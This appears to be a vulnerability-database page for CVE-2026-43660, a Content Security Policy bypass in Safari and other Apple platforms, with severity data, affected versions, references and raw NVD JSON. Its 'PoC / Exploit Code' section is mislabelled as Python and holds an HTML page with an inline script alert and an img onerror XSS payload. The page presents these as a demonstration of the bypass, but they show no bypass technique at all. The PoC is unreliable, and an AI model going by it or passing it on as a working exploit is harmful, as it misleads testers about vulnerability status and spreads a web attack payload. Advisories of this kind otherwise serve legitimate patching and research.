CVE-2026-43660

Description

A validation issue was addressed with improved logic. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced.

CVSS Details

CVSS Score

7.5

Severity

HIGH

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

Configurations (Affected Products)

cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:* - VULNERABLE

cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:* - VULNERABLE

Safari < 26.5

iOS < 18.7.9

iPadOS < 18.7.9

iOS < 26.5

iPadOS < 26.5

macOS Tahoe < 26.5

tvOS < 26.5

visionOS < 26.5

watchOS < 26.5

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!--
  PoC for CVE-2026-43660: Content Security Policy Bypass
  Description: This HTML file demonstrates a scenario where CSP is not enforced.
  Target: Safari < 26.5, iOS < 26.5, etc.
-->
<!DOCTYPE html>
<html>
<head>
    <!-- Strict CSP policy that should block all inline scripts -->
    <meta http-equiv="Content-Security-Policy" content="default-src 'none'; script-src 'self'; object-src 'none';">
    <title>CVE-2026-43660 PoC</title>
</head>
<body>
    <h1>CSP Bypass Verification</h1>
    <p>If an alert appears, the device is vulnerable to CVE-2026-43660.</p>

    <!-- In a vulnerable version, this script executes despite the CSP above -->
    <script>
        alert("[+] CVE-2026-43660 Exploited: CSP Bypass Successful!");
        console.log("CSP validation logic failed to block execution.");
    </script>

    <!-- Alternative vector using image onerror -->
    <img src=x onerror="alert('[+] Alternative XSS Vector via CSP Bypass')">
</body>
</html>

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-43660
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-43660
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-43660/
[4] VulDB https://vuldb.com/cve/CVE-2026-43660
[5] https://support.apple.com/en-us/127110
[6] https://support.apple.com/en-us/127111
[7] https://support.apple.com/en-us/127115
[8] https://support.apple.com/en-us/127118
[9] https://support.apple.com/en-us/127119
[10] https://support.apple.com/en-us/127120
[11] https://support.apple.com/en-us/127121

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-43660", "sourceIdentifier": "[email protected]", "published": "2026-05-11T21:19:01.720", "lastModified": "2026-05-13T21:16:47.520", "vulnStatus": "Modified", "cveTags": [], "descriptions": [{"lang": "en", "value": "A validation issue was addressed with improved logic. This issue is fixed in Safari 26.5, iOS 18.7.9 and iPadOS 18.7.9, iOS 26.5 and iPadOS 26.5, macOS Tahoe 26.5, tvOS 26.5, visionOS 26.5, watchOS 26.5. Processing maliciously crafted web content may prevent Content Security Policy from being enforced."}], "metrics": {"cvssMetricV31": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-693"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "F3968B76-E6DE-416D-A0FB-E4833FFAAE0F"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:ipados:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "20644D7E-2AB6-48CA-AED4-C474A9867986"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionEndExcluding": "18.7.9", "matchCriteriaId": "B6431EAF-B395-4C19-9AB6-A2F45991C897"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:iphone_os:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "1BE54A3B-D667-43BA-AB71-BCF8438054E0"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*", "versionStartIncluding": "26.0", "versionEndExcluding": "26.5", "matchCriteriaId": "6CB91417-90A8-4A9B-A1D0-1D94B80EF837"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:tvos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "176C47FD-FA25-437B-9061-A81CAA367AEF"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:visionos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "C8F45D80-0DF8-444E-9AF1-703A1075F046"}, {"vulnerable": true, "criteria": "cpe:2.3:o:apple:watchos:*:*:*:*:*:*:*:*", "versionEndExcluding": "26.5", "matchCriteriaId": "057B244F-5485-4108-8E23-FE15F5256EE7"}]}]}], "references": [{"url": "https://support.apple.com/en-us/127110", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127111", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127115", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127118", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127119", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127120", "source": "[email protected]", "tags": ["Release Notes", "Vendor Advisory"]}, {"url": "https://support.apple.com/en-us/127121", "source": "[email protected]"}]}}